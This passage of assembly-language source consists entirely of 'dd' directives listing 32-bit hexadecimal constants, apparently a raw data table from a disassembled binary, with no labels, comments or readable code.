dd 0D3645DA9h, 1F4D883Dh, 14A1AD02h, 91B9A6EBh, 3AE800C7h
dd 0CF39F266h, 0A0DFAFFBh, 32B42714h, 0F696AC7Ah, 0BBE980C9h
dd 6B756F1Ch, 711D51D2h, 5EB4E26Bh, 11891AE6h, 3BCF1C53h
dd 266258CCh, 174C8E16h, 35288761h, 0ECF88767h, 0D028E446h
dd 3BCAD8C1h, 0A3D364EBh, 0DF5946D7h, 23A4B090h, 0C01044D4h
dd 0BAAE63E9h, 7EDF924Fh, 0AB20EBC1h, 29FABF7Ah, 979C86F9h
dd 10612096h, 786500B6h, 8EC9A318h, 9546A7D6h, 89D9078Dh
dd 8516C459h, 94D56CE0h, 0C496B66Dh, 0B3CC7841h, 0D7537BBCh
dd 9E04E19Dh, 0FC44789Ah, 5F572614h, 1E6A4251h, 0A8B2237Eh
dd 0CDE59A37h, 0F580ECDBh, 0D6E78C63h, 9AE88E41h, 1D0EEA86h
dd 0B60EEF2Eh, 17F99741h, 0B6651E25h, 2A0E595Ch, 381B839Ch
dd 0F6768EF6h, 1A1EA0F2h, 54B3BDEDh, 0BEFE08B7h, 7C6A8CD3h
dd 0BB6613F8h, 57A327B1h, 2B5217C1h, 8E507E4Fh, 5D34687Ah
dd 0C1F625D6h, 0A0B4F3ADh, 99FD0F59h, 6C33CADCh, 384D60FAh
dd 0C46DCA3Ah, 0B5F837Eh, 35D82D41h, 0D9998588h, 6F248DCh
dd 0CC057889h, 0A26985C6h, 2FC0B1E8h, 5037B641h, 0FF474460h
dd 51349CF5h, 0ECD35DAEh, 48CB01B3h, 2AC43DBFh, 0A4E158BAh
dd 86F08CB8h, 26D5C644h, 6DF45A61h, 0DBF93A8Ch, 0DECA83D5h
dd 9E46D166h, 9228BADCh, 0D68C8AF2h, 400FF421h, 0B1430F79h
dd 3F25FF83h, 2E3F3BD5h, 3B72F2Ah, 3AD6BC18h, 0C018C095h
dd 25D6B3F6h, 0A114A814h, 448B76C9h, 0BDD017D1h, 6482F906h
dd 0BEBC2C60h, 0EE09B5EEh, 4E394B69h, 81327809h, 53405A77h
dd 7D1760D5h, 815F7C6Eh, 0E7DEBCA6h, 235AFC6Eh, 6BFE159Ah
dd 1920D51Dh, 300F79A7h, 0F2D6FB92h, 0F4B10738h, 0F9C7FC66h
dd 8896DF92h, 0DE956153h, 596DBB2Bh, 63BC6F23h, 730C7FAEh
dd 96413258h, 65347592h, 2C7B7F47h, 81DC4079h, 0C2971ECAh
dd 25A7EA01h, 8323B875h, 8880C2E4h, 0FC0B0CA8h, 2489255Bh
dd 9A64AA78h, 2C7915DEh, 79662225h, 6B09C6D0h, 0DAE37013h
dd 0B06D282Ch, 60E30A44h, 619072Ah, 8E9EFA66h, 0D03B2136h
dd 9A47D42Dh, 0D1B5E2E9h, 809C245Bh, 5BB71EB1h, 441D2B55h
dd 4D12EB82h, 0D72FAEAFh, 95D159C5h, 0DB9F0D65h, 65C52BE6h
dd 0FC12A2D2h, 0A0B39100h, 6ACD1386h, 0BC1DA687h, 0E9EB6DCEh
dd 9F98C526h, 7A8BAE83h, 2778A1E5h, 0E9EC6CB8h, 0C1A63730h
dd 0BF46D2BFh, 1159C709h, 0A6F5905Dh, 60C4063Dh, 0C1AAA4Dh
dd 0EEE79C42h, 14C799B4h, 0F22740D9h, 0E4D46AF1h, 9750F693h
dd 4858523Dh, 6CC3FCB3h, 12507877h, 0F941877Bh, 6B9A09A3h
dd 914CDA7h, 0F4BBC3EAh, 7AFBD3AEh, 0EF1D35Eh, 37C7190Bh
dd 877A9CC1h, 64847FF5h, 96ECFBAEh, 733823B4h, 0CA45565Eh
dd 572695EFh, 4F821A39h, 530E5290h, 6A54C583h, 1359BB0Dh
dd 44DD8A55h, 2C8869AEh, 2F662F4h, 0CFA32A47h, 92119F6Ch
dd 0C5F4CFA9h, 32F6C9B6h, 650A88FAh, 612BE031h, 0A2A51E75h
dd 6D30FC41h, 0BBADC86Ch, 0B2B5C6ACh, 190CCAAAh, 0D5DC4480h
dd 0A6AEB75Bh, 0D9C13569h, 99ADAFFBh, 0D7E0F45h, 0CC9A38F6h
dd 7EDDC06Bh, 7084547Dh, 53AC8913h, 8CE0E9C4h, 1BCDBA15h
dd 9EAF7078h, 0F66E6BA8h, 0E15B94E2h, 791F28A9h, 4D693828h
dd 0DFDBA201h, 3E2D37BCh, 770E7A7Fh, 90DBF390h, 614D771Fh
dd 0BA425FEFh, 0C611116Ch, 2DAF4D8Ch, 0A6825E3Ah, 0CA19F918h
dd 0CAAE3704h, 0CE1077A0h, 3C697D81h, 19B1B0F8h, 1448A6B8h
dd 0AD686B61h, 0BEE6F9A1h
dd 3FAF348Dh, 6CF74664h, 4D7E8441h, 2DF488B0h, 956208Dh
dd 5AB5C1D6h, 4D4754Dh, 4CCEE1C6h, 0E9325E1h, 0BE68C50Ah
dd 0DB66162Dh, 9E67F669h, 8E44A604h, 0EB5AC4D4h, 9B9DDB71h
dd 0E5AB9534h, 4068C032h, 637D5EAEh, 0F5523C54h, 40C19B51h
dd 203B8405h, 0D924056h, 353BADB2h, 38C39D37h, 527CB8Dh
dd 46707578h, 99D0D0EAh, 0F07E0041h, 78493193h, 35A5EBEFh
dd 8A6E1064h, 0AC72D1A0h, 7FFC1060h, 6290C4C7h, 0C7F5D257h
dd 1071240Ah, 13FD4A2Bh, 0F87A8FFCh, 3D91FAB6h, 0AAE47C75h
dd 295E7F43h, 356C8E79h, 68D1841Dh, 116A4398h, 0E4204004h
dd 1639C815h, 81794B6Ah, 323C81D8h, 5416F731h, 8B783554h
dd 699EE12Bh, 7CE5B9BFh, 8A46C098h, 0D544FA76h, 0BD9C8195h
dd 7761C16Ch, 0AB3D6F1Dh, 88E28178h, 576E5098h, 0ED6A18Ah
dd 0DFBAD5Eh, 4CEB5D05h, 9E6DEFC5h, 18470DD0h, 0FCD35D72h
dd 0A3CEC753h, 210E71A6h, 5F0E34EDh, 3E97C0E1h, 0BC1B505h
dd 0C3800F3Bh, 773583Fh, 0E03E3C71h, 5A5827F1h, 8DCC9ADEh
dd 8411D037h, 829C3159h, 168C9F1Ah, 205DFA25h, 3F80874Eh
dd 5558CC0Bh, 41C36B60h, 9D0D3013h, 0F3623132h, 0B3F5EAB5h
dd 3261D180h, 0BAC8C703h, 2D3FCABCh, 0FF94ED37h, 30F81C96h
dd 0CE1E4E32h, 2F014DDAh, 9314BD30h, 0B38343F8h, 0A18FF818h
dd 7F8F1744h, 5706B1C0h, 0FFB7B7FFh, 5B916710h, 0E70C4DB1h
dd 0E5273459h, 0A1313835h, 50FA2BAFh, 7E88A90Bh, 6568419Bh
dd 21B1F022h, 805322AFh, 73A788DEh, 0D8EAE07Bh, 1F16DA47h
dd 97652645h, 2B1D805Fh, 0EB89353Fh, 5AB9767Dh, 9780859Dh
dd 44D4A8F8h, 9EC3A84Ah, 164DBB82h, 0DA9EB3AAh, 13D8A045h
dd 6AC0DA8Ah, 0BF53D1E2h, 1B6C1566h, 3E2B3836h, 68099D83h
dd 405EA237h, 8C58BE9Fh, 0E5EFB175h, 357F6C4h, 0FDA3FDC1h
dd 183C568Bh, 137AAB9Ah, 9C64138Dh, 11FCC57Dh, 0BC7D0012h
dd 876BD04Fh, 81A387A0h, 2BEB96FDh, 0A2C02840h, 712550CBh
dd 0D97EADD2h, 0D2D4E81Eh, 52FC5E51h, 6C86B3ACh, 7E66BC16h
dd 0C45AE694h, 25838AC0h, 96C69A1Ah, 50DD1B53h, 0E60E6755h
dd 5E4395BEh, 8B8C6D7Eh, 487B1280h, 0A23688CDh, 0DB91691Fh
dd 0FA36B86Fh, 97D3EF4Fh, 159397A8h, 9AC784F8h, 34F6C5Ah
dd 0B5C4D95Ch, 779F7737h, 630A8046h, 38CC5A37h, 3AFF59E1h
dd 53F3F1FEh, 0D14B0E5Fh, 0C16050A3h, 53648588h, 28BAE696h
dd 6A54CCF0h, 0C979F416h, 0B766B8D2h, 3592EBC1h, 0C8430325h
dd 0C68A6F4Bh, 0C2E163Ch, 2AF43633h, 1F73E4BFh, 2189B7CEh
dd 435C9757h, 6ADE3881h, 461801E8h, 84CE20B3h, 521C4DDAh
dd 0F8BF008Ch, 0A4DAE95Eh, 0F31A9252h, 0BD0E6258h, 0BF738906h
dd 59EF8DD0h, 0B23FD808h, 9BCEE010h, 28852A8Eh, 2431B72h
dd 51A2CC69h, 6F463FCBh, 173F981Bh, 48042524h, 0AC26CB7h
dd 585BD5BDh, 0C0E098E7h, 1E185391h, 0FDAB9A1Dh, 47A87C72h
dd 429D6CCFh, 8F65F5E9h, 2F4BD951h, 0DD025ACCh, 2630B621h
dd 1A519CC1h, 6449A79h, 4BA5E07Bh, 0C7DD549Fh, 9A65BF24h
dd 1794B4BAh, 111AA53Ah, 0F6CADE5Fh, 2464C374h, 0E9F14FE5h
dd 1D132E46h, 678AD4A0h, 2759205Ah, 0E5351653h, 7B4F3147h
dd 0F06DC283h, 6669AF4Eh, 1BCCBE58h, 1DE8839Fh, 401AEE4Bh
dd 66E76819h, 0C83F3FCDh, 4E225F88h, 37AF1115h, 8A294AE9h
dd 75D8FA83h, 0CB4827E5h, 0DC72AE09h, 0CAE5AE55h, 0A3F1A5Dh
dd 0EA22F8F9h, 83308F36h, 4E83F3F4h, 4A1C12CFh, 0C158E124h
dd 7CE25184h, 9607EFB7h, 9CDC4D0Bh, 8835AAE7h, 0EA06D1F5h
dd 0F3D960B5h, 1A23E461h, 48EA588Ah, 3D41C548h, 1CA5E238h
dd 0F51702A1h, 0C26F7514h, 3E7BB64h, 243B0279h, 693FE735h
dd 0BBE8453h, 87BC8588h, 0E095FC39h, 3A62D8Ah, 2728B3B4h
dd 8F645CDAh, 1F49CB2Ah, 8816042Fh, 0D8891547h, 11FDF915h
dd 0CFC3FC4Ch, 0D39013E0h, 1D5FAE3Bh, 7FEE2E00h, 0A8EAD289h
dd 12488813h, 54C53437h, 0E8E32C22h, 71A57D71h, 41115909h
dd 48DDB559h, 953ABC08h, 76904CE0h, 0A4B9C155h, 0D11A5F2Bh
dd 486CCE50h, 1C75FA3h, 0EB6C4EC5h, 0A6D0244Fh, 9F7252DDh
dd 774AA49Ch, 8D111F30h, 1C930659h, 3FBEE560h, 80B84024h
dd 3EC59361h, 0AB27103Bh, 1627F98Eh, 0ACE05B53h, 30FDDBD8h
dd 0B1197ED1h, 0B4D51B1Bh, 0F118B84Bh, 55F23A74h, 0EAC0403h
dd 2A5FDB9Dh, 9508D6FFh, 401A0DB1h, 0DEACB8D8h, 4CB315C8h
dd 0AFE4194Bh, 5EF07495h, 0FADBD14Dh, 0B5CAC735h, 1EA9F140h
dd 3711AC4Eh, 813B57DDh, 18A3A8A9h, 0C8625A6Eh, 0DAFEA155h
dd 0ACF8A1ABh, 30CEDFDAh, 97D2717Ah, 0EBC22067h, 0B9FE6407h
dd 0B7A254B0h, 58C56F9h, 72C53C17h, 31A1D42Fh, 62090C3Dh
dd 0ADF84EC5h, 4573620h, 0DD43AC40h, 3B7EEA6Dh, 37E96A1Eh
dd 0C598F70Eh, 5B237753h, 77A0B465h, 0C5FB21BFh, 5570D4F8h
dd 0CF02D50Bh, 90F3D014h, 25310709h, 0E5F2F5B7h, 0DFA70351h
dd 1E3E12CAh, 16955415h, 0B9FC2DE5h, 2EA71418h, 0FBD40DF2h
dd 0BEFBD6A6h, 96336762h, 0B0A9C809h, 0D9CE9A96h, 80E0A41Bh
dd 9CC2AE1Fh, 7C533FEEh, 0DBA7A6B8h, 0BCFB30E9h, 45FD67C2h
dd 8589ADFCh, 0ED041A71h, 1721F51Dh, 0DD0CE4FAh, 1165B4ADh
dd 0BF613087h, 0A78A1E48h, 0F7D30142h, 7A4B4132h, 2EFB647h
dd 8FDF2C4Ch, 0A244E974h, 0AC983A1Fh, 0C701FB19h, 180809C9h
dd 2C070487h, 45A1E122h, 588E3217h, 4785F624h, 523DB10Bh
dd 0D6B40837h, 0BA76BCECh, 0CEEBA6BCh, 5F0E4301h, 5F2F420Ch
dd 0BEA32E58h, 7C30A47Fh, 7E90AAEBh, 0AFA6C488h, 4219425h
dd 16B7BE37h, 69B6B9FBh, 0A21B7E2Dh, 295E46BDh, 0F17222AFh
dd 408726D3h, 2F56F7Dh, 36038E9Ah, 1F8ED66Bh, 847DCACCh
dd 0A3099B1Fh, 0CF42E068h, 186041BCh, 0A449EC02h, 3F7978CFh
dd 43A74AF0h, 66CC001Ch, 7A47D775h, 2EFF184h, 0A4CC2F55h
dd 77E3807Eh, 844C8CBDh, 52DF7D09h, 28691D50h, 16E57A31h
dd 0E014A572h, 0F2E1E7A2h, 4FD22C79h, 48A129A7h, 911609ECh
dd 0D236C9Eh, 0B46FC58Eh, 37B9F0CAh, 0E5EDC993h, 0A3728BC2h
dd 5BC12FA1h, 1CF9F84Bh, 34CDA75h, 6F5E4555h, 81EBAD5Bh
dd 0D466022h, 2F20F83Dh, 7D53F0A2h, 3F22FE92h, 0F2A3FF14h
dd 38D6DFBEh, 0F1615992h, 12045F01h, 58FC095Dh, 217084C7h
dd 15C55462h, 3C1EAFA9h, 831ED615h, 98145638h, 0BB55916Fh
dd 0E531F66Fh, 8A841B4Dh, 0A31130B6h, 9BBF9587h, 1712ADF3h
dd 0F9061715h, 5EC4D4Bh, 0D5B2402Fh, 0B99C6283h, 55EF718Eh
dd 0DC4B6B91h, 7AE096DCh, 93EEAB37h, 7779AC13h, 0BD2DB241h
dd 0F5E2293Eh, 469D9745h, 0B87C0069h, 5F0A7ADAh, 3E56AE6Eh
dd 8B3D4231h, 358E0CDFh, 0DA68759Bh, 0D54AC58Ah, 915299BEh
dd 0DB697D83h, 8A28288Dh, 0BC405F33h, 0D43E7904h, 1704F630h
dd 61AB81B3h, 0F571B475h, 47292CEAh, 86294536h, 182E65E4h
dd 2982D869h, 0D623A6F5h, 25E68926h, 0A59A1C22h, 71A5DBF3h
dd 0AD5B09DBh, 96BCC2Bh, 10BF7044h, 0DC543B4Dh, 6E17EBF9h
dd 21EB748Ah, 6D9E6A98h, 64520FF7h, 6C476A8Ch, 500E5655h
dd 892C6FA6h, 2A4D2CF1h, 9B66D62Eh, 7204404h, 0BE7793BFh
dd 618B4B62h, 47E4DDE1h, 0F0E48F72h, 0B9721427h, 4FCFB50Eh
dd 0EF9E2339h, 307434D4h, 0DACE8D14h, 0E5997604h, 0E84D02DEh
dd 0D303CCF9h, 0C2B77250h
dd 8176D30Fh, 0AAEC817Eh, 0CFE951D4h, 0C2D3DD17h, 0EC300EE7h
dd 0CFA7E526h, 11932761h, 0A0555443h, 2C2E4A04h, 0E45BEC69h
dd 4C4085A7h, 6F8D0144h, 83D3475Fh, 0BE2FFDC1h, 54B48E68h
dd 767D0181h, 4E2C7A1Eh, 2440B8F2h, 0B39A8B36h, 0DF23EBBBh
dd 0BEB11ACh, 0CE24989h, 0A479AFEBh, 60CF43Dh, 9F747F92h
dd 4701BB8Dh, 6044E2A1h, 0C8DB44Eh, 85616570h, 0B75ABDDBh
dd 4C5FCE47h, 617D1836h, 81C6A53Bh, 0C5A1CCFEh, 6A943EC6h
dd 0AC39FE60h, 30B71525h, 0DB8117C7h, 7EF43AEh, 401A7F78h
dd 52E714AAh, 0DDEC1EF8h, 66F7383Ch, 1BF52EDAh, 64300D3h
dd 5D2E2F8Dh, 2CC3E849h, 544469BCh, 4166E9F7h, 1907C776h
dd 0B98CFF63h, 4279559Eh, 0FEB887BEh, 0FE447Bh, 0FBDCDC74h
dd 55237B0h, 97DA8F5Ch, 29B05461h, 27677C63h, 0AEF826A6h
dd 0B4F08783h, 0A7195E81h, 0DB0CB717h, 6E6F81C4h, 7FB17854h
dd 3DEC51A1h, 4E7E52D2h, 0F8C874EEh, 2AF932B2h, 8A1A59C0h
dd 27812DC5h, 21D7478Bh, 718FC9A6h, 0C156885Fh, 3EB314BFh
dd 338898A1h, 0FCFF01B3h, 287F7886h, 201C6FFh, 93A1C63Bh
dd 5EA2252h, 16B316A7h, 0F70FBB74h, 6B0FCDCEh, 0EC8FFA2Fh
dd 0EE95DE52h, 0CF931AE9h, 0EE9AF32Ah, 72274A4Fh, 1EAB2495h
dd 0C9A8C21h, 0AB0DE3D4h, 6AE13FDh, 4656E9A9h, 0B5757A00h
dd 9138F058h, 3E99D636h, 7F9B1C2Eh, 65174F7h, 0E22E012Ch
dd 0E9DE091h, 94966A54h, 0BF9E9DBFh, 9E1B1A9Bh, 0EE596E68h
dd 0EC2C19E3h, 0F1E9127Ah, 7B6E629Eh, 9C0416B7h, 769E14ABh
dd 73ADA6Fh, 0F494F366h, 42D060C9h, 0E6C56490h, 0EBB850D0h
dd 70381F61h, 0ED492AD7h, 0CCFAC8E2h, 7096B68Eh, 4B8DE63Eh
dd 11BB2B79h, 0E358500Bh, 89DD9F8Eh, 4009E6D0h, 229222DFh
dd 3D673F30h, 459EF486h, 97D83E16h, 0CFC908F4h, 748928EBh
dd 63B6C764h, 0AAAFFC32h, 179111C0h, 39DCABC3h, 7F6096EEh
dd 7BFD0AC0h, 0E98D7063h, 0D5D0AB4Ch, 58CEC2B4h, 0C5BEC29Ah
dd 93856707h, 79B56889h, 3D16A428h, 8E67F108h, 0A7816FD4h
dd 96746FF6h, 87827B67h, 0E6C74DAFh, 6ECBD5D1h, 9AAD5942h
dd 0CE796663h, 0C195974Bh, 17D46237h, 597184E6h, 0A617DF07h
dd 31EC7A23h, 0E056714h, 0D94866ADh, 871E60CBh, 767C53C8h
dd 112EE0A1h, 860D54ACh, 870A6989h, 14B7794Ch, 2F55FF4Bh
dd 0C654239Dh, 9532881h, 0D20924E7h, 82080647h, 6DFEB8C1h
dd 0C4576F10h, 7E66748Dh, 566A5F70h, 210CB21h, 689AF9ABh
dd 0D864ADD8h, 0EB6B10A2h, 0A2F34E35h, 2FDF2BB9h, 4A4BF71Dh
dd 0A1E38E96h, 660B4697h, 0CCCCBC29h, 0B0E4B658h, 0D80238BAh
dd 1F17A893h, 28336E10h, 0CB7775F7h, 0BE94C688h, 0E9F7281h
dd 0E42EABBDh, 2728D6Eh, 0D106116Eh, 0EC69BE69h, 47B51E3Dh
dd 1188125Fh, 150F2B5Dh, 43668F0Ah, 0D9F9070Ah, 96CB669Eh
dd 7E7EFDCCh, 0C4ED849Ah, 7EBD4666h, 3E832251h, 0F04D148Eh
dd 0EA096277h, 75618282h, 5DC00BD7h, 3936B67Fh, 0D93CF3C0h
dd 0DD6D5165h, 444FC319h, 8CECB2D4h, 0B4FB17A0h, 0FAAA13ABh
dd 0C2890F97h, 2EA25755h, 0FC4C13EDh, 49C4152Ch, 183C301Ch
dd 318400C6h, 409B6766h, 0D63CA7C9h, 0D5F024A7h, 4596A963h
dd 28EF22B5h, 0FE04CBEAh, 1ACABE3Ah, 0DCEAF50Eh, 0DF4DEFA3h
dd 0B9B17D50h, 5A1D0605h, 7D670E15h, 0B3D08F94h, 7945C959h
dd 170DC126h, 0C1C4B9B3h, 0F1F80D2Ah, 0E2D26F4Ch, 84D32898h
dd 0E99E3588h, 0F950C9BCh, 5CD28ED3h, 77E87016h, 0E1E9C37Fh
dd 0F7244F6Ah, 3C055A56h, 0A0C58FE9h, 5EBFFE13h, 632F60E9h
dd 0E2D5C29Ah, 0F99E712Ch, 0AE343000h, 0A98056E0h, 7D352E69h
dd 6DE48AEFh, 7051F6E3h, 7D21Dh, 0E8EB1E17h, 73116923h
dd 0B41C6A17h, 9D6F4D41h, 0C8963A60h, 59E21A06h, 0C778A8ABh
dd 8CF40D6Fh, 0FEA70E4Ah, 0DE220D06h, 98A507BEh, 0D2937D00h
dd 0ECDB2F89h, 0F3ED8E8Ah, 5645435Fh, 0CFD36764h, 3792C16h
dd 0E4C19699h, 4A20B3Dh, 8AF76FCEh, 0F7E5DC14h, 0A54BC275h
dd 0DE2A08CFh, 0C0E7EE7Eh, 0B10CCDFFh, 664DCBACh, 16806E13h
dd 0B557D68h, 748EA20Ah, 0A433D62Bh, 21F47h, 0CCA70670h
dd 9301A05Dh, 6B700390h, 44A04627h, 0EFDB1A3Ah, 0BBBE8DECh
dd 0CC36B7C8h, 528C8B6Ah, 7B012F6Fh, 0E29AF6Eh, 0CA3949C6h
dd 0B12F8947h, 93B1D6DBh, 7CA741B9h, 6D580430h, 40DB00CFh
dd 0C25C5E9Eh, 3438CB1Eh, 0E6E244ABh, 0C60F7B07h, 0C57C6700h
dd 0F610B64Bh, 3573850Bh, 9AECECC6h, 188B2DE0h, 6E8422F1h
dd 0C3208CA4h, 0D0A36B80h, 0DF5C300Dh, 0B1CDBF8Bh, 7DBA0EC6h
dd 2ED5F77Dh, 325D93A8h, 0B89132C3h, 0D4CAD926h, 665A7F42h
dd 2EDEE0E6h, 931700BAh, 0FA459C08h, 764D4D07h, 66D5DADh
dd 0D115439Eh, 0A3782A12h, 0DD8192C5h, 47037294h, 0C86349D4h
dd 2382CA49h, 5B20A02Eh, 16CCF9DFh, 0F0CECCD3h, 0CC20DA07h
dd 0E4BFBEC4h, 0ABEC8C03h, 0EA7C4E51h, 0DE6CB772h, 92400529h
dd 0E16124A7h, 0EBE31C96h, 0DF13BF5Fh, 96E36DBDh, 0F0A88323h
dd 6C85BE7Ah, 67A42022h, 89FC935Dh, 0F33DB5C4h, 91DD583Bh
dd 9749A2A4h, 455BDDEDh, 8DFFB3B9h, 0E7EAF58h, 5A9530D0h
dd 0FB26E1Ah, 97ED58B7h, 598C35B4h, 0B28D6100h, 5787FECEh
dd 9EE706D5h, 9A740369h, 0C989ACC3h, 946B64CFh, 9C72F2E9h
dd 65F7A29Ah, 1F0E5F6Eh, 2D7908FAh, 0FACB305Bh, 0D1209E3Fh
dd 5C2BF269h, 0C2B87EE6h, 0A6B18652h, 0EB7A259Bh, 32BFF113h
dd 67B48D0Ch, 4251CE0Ch, 9ECB02D9h, 0D024A32Dh, 1187B97Fh
dd 41398D05h, 0B94E380Dh, 86872FADh, 0F1C0CD53h, 0A2E965C9h
dd 0F551AE97h, 0D90A9EC9h, 90008C19h, 7709AA44h, 55CE1E6Eh
dd 252CAC8Dh, 4739A707h, 0C67892D7h, 9CB3D5CFh, 30654D7Eh
dd 0CD78D387h, 362DD3F8h, 0B9327CCFh, 620B73DCh, 6AE31FAh
dd 67EB4F9Ah, 0AC3C5BA6h, 426D64A3h, 299D3C03h, 0B8095473h
dd 9FD3D48Eh, 9553F82Ah, 0D3E20654h, 0BAA60133h, 0B22679E7h
dd 0BF443982h, 10086BBEh, 7DF578Ah, 29F7C796h, 90361CE6h
dd 41ACED10h, 4DCA5D41h, 6A12D9C5h, 0C783D5EBh, 4F79A785h
dd 0C2130B17h, 1289AC71h, 1CCEE2AFh, 4B4112C8h, 2D37E843h
dd 0E47A367Ch, 0BF0F09C2h, 1E260F6Dh, 44507EF9h, 37461E6Fh
dd 5BD36B8Ch, 0DCCB2E9Ah, 9254AE5Bh, 74C40AA6h, 7A311308h
dd 423F3FB0h, 198D156Eh, 0C3648B4Bh, 53E6C820h, 0C47197A0h
dd 0DB38B173h, 9CC789EEh, 69F6D3CDh, 3B5B574Dh, 9297E6EAh
dd 0D833319Ch, 905DE791h, 0EE7F82Ah, 0CD8DA64Dh, 48367AF3h
dd 1052D97h, 4DD6D159h, 0C29C900Fh, 19870A75h, 0C73D0F46h
dd 4159CCB6h, 756DEA06h, 0FC372B60h, 656C9758h, 0C33E2749h
dd 80A6BA82h, 0BA063A98h, 0DE903B87h, 61944828h, 83F012DFh
dd 3635710Ch, 44F194D2h, 0E27840F4h, 74EAAB1h, 81B5A512h
dd 0B0D71536h, 51F9E809h, 0C1F7344Bh, 5474C5A3h, 0AA74516Bh
dd 1FA1A94Ch, 0D95CF476h, 92BE8A91h, 45D0B1D7h, 0BE863AE8h
dd 0DA755D43h, 1BA8ADDBh, 6649C9A2h, 8862B16Ah, 0C9A4CFAh
dd 0C0CAE619h, 0ECEC981h, 4F030753h, 0E31C760Dh, 366E0BB0h
dd 0B8371C49h, 0E4DCBC0Eh, 28483687h, 0CB3AEA73h, 0B7B46DAEh
dd 0A531215Bh, 3A5AFD1Ah, 0E62303D1h, 55534D6h, 597DA1A9h
dd 0FE75530Bh, 0A732C9Ah, 4BF79345h, 0CBE5D5A1h, 9991701Eh
dd 0A03427A5h, 1B36EF6Bh
dd 0BDBDEAFDh, 82C95CB7h, 0D6E74305h, 574C8D45h, 26D976F4h
dd 1A119638h, 0F47F9E6Eh, 1A52A9F6h, 7851FF4Fh, 0B2FCC035h
dd 6C3677A1h, 84410465h, 0D155AB89h, 1C2C739Ah, 0C4143F8Dh
dd 31488DE4h, 0DB2B74E5h, 0CDB12AA2h, 0AEAB938Eh, 65D3FA4Fh
dd 4357AD48h, 948F612Fh, 5E2B4859h, 0ED2E9CE4h, 0D6F266D1h
dd 660BD695h, 4DE031Fh, 9C0424C2h, 7DC1359h, 70791097h
dd 49C2770Fh, 0E689D316h, 3A522A1Ch, 8E28D411h, 0D8BC333h
dd 838FAD5Eh, 0FFE0A8C5h, 0EFA28189h, 0F6EEA424h, 0D3E58382h
dd 7EB10735h, 2E4E4209h, 0DFC15DE5h, 0A4D50832h, 0FFB121D2h
dd 0AD87D208h, 0B4B0F464h, 5B8A0403h, 0C9BFF203h, 5D9606BDh
dd 3F271522h, 8C2300C0h, 90ADCE8Fh, 5C3AAC7Ah, 785EF1A6h
dd 0C98D3EB0h, 685F1F90h, 59A984A1h, 0B5E5F36Dh, 1D5EC1C3h
dd 1DC5688h, 0BAD01DEAh, 0B38C6199h, 0B02FFE06h, 12C1DDD2h
dd 0D5E0C3B5h, 0C70260C0h, 6B51AF7Bh, 1EE7E3DBh, 8CC242FDh
dd 7540AD15h, 3F08FAE3h, 0AFDCC89Eh, 0E642FF15h, 0B2FA663Ah
dd 0B83E6D80h, 0ED189BA6h, 0F571C70Bh, 5D7B3B6Fh, 0DA4F8D9Bh
dd 0BF476E5Ch, 2E259A8Ch, 0C08B3DF7h, 4AA345A9h, 0FC9B760Fh
dd 8461E48Eh, 3C1BE3B3h, 84ED6119h, 3B1E296Bh, 0FEEBDD41h
dd 73D8CEC7h, 1FDD8873h, 0CAC31C1Ch, 996159D5h, 74F7A639h
dd 0D2A9744Fh, 19EF971Bh, 4DFC0380h, 8DD19291h, 6C3A63BDh
dd 0E32A53CCh, 0FA73DC6Fh, 0B8D3734Dh, 5DC88550h, 8C97FDB9h
dd 0C789589Fh, 26654F1Eh, 376F257Ah, 68F7174Eh, 155F2E20h
dd 2833C230h, 7EA10FADh, 24F73155h, 0F3D75E98h, 2DEB6910h
dd 0C99415C8h, 2EE610D8h, 9FD974D3h, 18984223h, 0F60B132Ch
dd 604B9431h, 3336E083h, 0D6D4E271h, 23053C5Ch, 0FB7E46A0h
dd 9222B961h, 1C3B0957h, 4958689Ch, 0A9BCEFD8h, 0D250AFAEh
dd 7C0C640h, 4DDC5A0Fh, 0B2968775h, 1F1A3302h, 0BBA30F94h
dd 0D8882221h, 3002C8C6h, 166BCD76h, 0E3E40F58h, 523F0BFAh
dd 0BDA4B450h, 0E7A89247h, 22B411C4h, 5138FFC9h, 0E6F8F6ACh
dd 96A99502h, 0A958001Bh, 7F68A487h, 0B0B372D8h, 0F82A7070h
dd 633B42F0h, 73EA99DCh, 9B3B055Dh, 0EE8591B8h, 0C69E1DA9h
dd 0C7843591h, 7BB6DC4Ch, 0CEB9BD6Ah, 88A7E792h, 37D7BD0Ah
dd 8D514A0Eh, 0C34A14E8h, 0B5E6F38Ah, 0F6AD52ADh, 0D8E3B0BBh
dd 6D597062h, 0B7746F18h, 62F88DE4h, 0C8D14C11h, 0C79F5508h
dd 75BFC05Eh, 12E239DBh, 3796CD19h, 34B32FBBh, 0D89259A1h
dd 0DD8F12DEh, 5D1A87DAh, 6EBE9C8h, 6F5C69E5h, 99E6940Eh
dd 0AECA8359h, 87BB8465h, 82997E6Ah, 28B8C430h, 0C488A56Bh
dd 3D16DD8Eh, 478FD754h, 28FDFA7Dh, 0A9722184h, 0EAC10224h
dd 95D389C0h, 0BBEAE87Dh, 0CFF96BADh, 0DD785882h, 0E9D31227h
dd 6973D806h, 0F2FA6194h, 0F332196Bh, 0A8F11B84h, 791F34C9h
dd 12B8CF18h, 0D4790066h, 84025743h, 96E996EFh, 0B19293D0h
dd 0CDAA3CCCh, 9F05AB1Eh, 0BBC68DABh, 9D949F01h, 0EB209A7Bh
dd 0B7A42FA7h, 0B8A21F65h, 8997FA24h, 495B6121h, 8E748537h
dd 0EC8C7C32h, 585D2922h, 0FEF40D9h, 0A1EA796h, 37BD258Dh
dd 6CD8A9B8h, 248EDB4Ch, 449E74C0h, 68E276BEh, 0ABDB6DC6h
dd 1257E3F1h, 0EBAFAD2Fh, 0C9941AFCh, 0A4920149h, 7B9371h
dd 6DDC645Bh, 85C1E2F1h, 46BCEF1Eh, 53E187BCh, 0EBA3726Eh
dd 69834D29h, 0B3D5A9F1h, 354D20BDh, 0FF85171Eh, 0DE15E3Fh
dd 0A6AF3C89h, 13246AC9h, 2171400Ch, 117AAAB3h, 188DC0C1h
dd 9AC35B34h, 0E6BD69A3h, 24A2D8E2h, 9FFF95Fh, 4E370058h
dd 2E543CB1h, 48772DD9h, 1EDAF2CAh, 9D3452C7h, 8C6E926h
dd 58FDB7A3h, 0DD736144h, 0E60E4567h, 14FF1DDAh, 6BCB06B1h
dd 74A16D40h, 8F9A3D62h, 0C66D79A7h, 0A608BECCh, 0FECFE645h
dd 661CB704h, 8229FD4Ch, 21776B4h, 98D8D420h, 75A8B3FBh
dd 0F93F9D99h, 93E6D066h, 41CA1F12h, 6C51B66Eh, 0BB7F34E9h
dd 0B4E4B8B6h, 0BD56261Fh, 322991F7h, 1F26CD59h, 209AF2C2h
